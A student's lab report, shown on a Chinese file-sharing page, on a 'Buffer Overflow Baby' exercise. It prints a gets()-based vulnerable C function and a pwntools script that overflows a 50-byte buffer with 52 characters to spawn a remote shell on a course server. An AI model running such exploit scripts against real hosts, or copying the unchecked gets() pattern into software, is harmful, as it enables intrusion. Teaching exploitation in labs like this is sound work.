没有合适的资源?快使用搜索试试~ 我知道了~
hw01报告1
需积分: 0 4 下载量 145 浏览量
2022-08-04
15:16:00
上传
评论
收藏 611KB PDF 举报
温馨提示
试读
6页
hw01报告1
资源推荐
资源详情
资源评论
实验 1. Buffer Overflow Baby
漏洞利用思路和方法
漏洞产生原因
可以看到gcc编译器下会对gets调用发出警告(the gets function is dangerous and should not be
used)。
gets 函数从标准输入读入用户输入的一行文本,在遇到EOF字符或换行字符前,不会停止读入文本。
即该函数不执行越界检查,故有可能使任何缓冲区溢出。
漏洞利用方法
观察 hear() 函数源代码可以发现,系统为 str 预留的空间是50,如果读入的字符串长度超出了50,则
会造成缓冲区溢出,而且实验中关闭了软件保护机制,因此我们可以通过缓冲区溢出覆盖程序的局部变
量 p1 和 p2 ,输入52个字符,其中最后2个字符需要相同,就可以绕过检查获取shell。
关键分析步骤及结果
实验脚本
#define LENGTH 50
void hear(){
char p1 = 'N';
char p2 = 'Y';
char str[LENGTH];
gets(str);
if (p1==p2) {
printf("[HACKED]");
system("/bin/sh");
}
}
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = remote('47.99.80.189', 10001) # pwntools通过socket连接至远端
sh.recvuntil("Please input your StudentID:") # 远程环境统一要求输入学号
sh.sendline('3180105507')
sh.recvuntil("Tell me something, less than 50 characters:")
# 通过缓冲区溢出覆盖程序的局部变量,绕过检查获取shell
payload = 'a' * 52
sh.sendline(payload) # 发送计算的payload
1
2
3
4
5
6
7
8
9
10
11
资源评论
梁肖松
- 粉丝: 25
- 资源: 300
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功